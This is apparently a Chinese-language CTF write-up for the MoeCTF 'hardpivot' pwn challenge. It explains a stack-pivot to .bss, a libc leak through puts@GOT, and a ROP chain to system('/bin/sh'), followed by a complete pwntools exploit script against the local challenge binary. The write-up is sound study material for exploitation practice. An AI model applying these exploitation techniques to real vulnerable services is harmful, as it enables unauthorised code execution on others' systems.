hardpivot
.png)
vuln函数:
.png)
汇编代码:
.png)
这题就调用了这一个函数,这里存在一个栈溢出漏洞,但是我们只能刚好覆盖8字节的返回地址,那我们只能栈迁移,由于这里只有一次读入,所以我们这里肯定是要先再调用一次read向可写的.bss段写入,我们看汇编代码,这里rsi是由rbp决定的,我们控制rbp就说明我们能控制这个给read向哪里读入,大小是固定的80字节,我们就把返回地址覆盖成lea rax, [rbp+buf]这行汇编代码的指令,buf我们可以看到是-40,rbp我们要覆盖成可写的.bss段地址,但是我们要注意,这个指令用的是rbp的地址而不是rbp内存的地址,所以第一次read完执行leave(mov rsp,rbp pop rbp)把rbp存的内容(.bss段地址+0x40,抵消buf)复制到rsp内,然后把rsp存的内容弹到rbp,现在我们的rbp地址就成为了我们新覆盖的.bss段,rsp+8指向我们覆盖返回地址的read地址,然后ret(pop rdi),这时lea rax, [rbp+buf]就让我们向我们选的.bss段中读了。
但是我们发现这题还要泄露libc,但是no pie,我们就先构造一个泄露libc的rop链,所以我们第一个rop链是:
payload2 = flat([
new_rbp,
ret,
prdi,
puts_got,
puts_plt,
read_add
])
payload2 = payload2.ljust(0x40,b'\x00')
payload2 += p64(bss_add)
payload2 += p64(leave)
我们执行第二次read后,又有一个leave,这次rbp里存的是.bss段地址+0x40,rsp就指向了.bss段+0x40,这不是我们的rop链的开头(.bss段),那我们就在.bss段+0x40位置放.bss段地址,然后pop rbp把rbp存的变成了.bss段地址,然后ret,再执行一遍leave(栈迁移要把rsp移动到指定位置上,控制rbp只是成功了一半,要再此之后执行一个leave),rsp指向.bss段,这里pop rbp把rbp设置为new_rbp(为我们下一个rop链做铺垫,相当于这次的.bss段),执行完泄露libc地址又回到read开始读入我们的最后的rop链,主要是这里二进制文件中没有pop rsi,我们只能继续依靠这个read,下一个rop的读入流程与这个rop的读入流程一模一样,就是把.bss地址换成new_rbp
EXP:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = process('./pwn_patched')
#p = remote('127.0.0.1',42709)
elf = ELF('./pwn_patched')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
prdi = 0x40119e
ret = 0x40101a
leave = 0x40127b
bss_add = 0x404800
read_add = 0x401264
rop_add = bss_add + 0x60
new_rbp = rop_add + 0x40
payload1 = flat([
b'A' * 64,
bss_add + 0x40,
read_add
])
p.recvuntil(b'> ')
p.send(payload1)
payload2 = flat([
new_rbp,
ret,
prdi,
puts_got,
puts_plt,
read_add
])
payload2 = payload2.ljust(0x40,b'\x00')
payload2 += p64(bss_add)
payload2 += p64(leave)
sleep(0.1)
p.send(payload2)
leak_data = p.recvline(keepends=False)
#leak_data = p.recv(6)
leak_puts = u64(leak_data.ljust(8, b'\x00'))
log.success(f'puts地址:{hex(leak_puts)}')
libc = ELF('./libc.so.6')
libc_base = leak_puts - libc.sym['puts']
log.success(f'libc基址:{hex(libc_base)}')
libc.address = libc_base
system_add = libc.sym['system']
bin_add = next(libc.search(b'/bin/sh'))
payload3 = flat([
0,
ret,
prdi,
bin_add,
system_add
])
payload3 = payload3.ljust(0x40,b'\x00')
payload3 += p64(rop_add)
payload3 += p64(leave)
sleep(0.1)
p.send(payload3)
p.interactive()
题目链接:
CTF-Writeups/MoeCTF/hardpivot at main · ZenDuk17/CTF-Writeups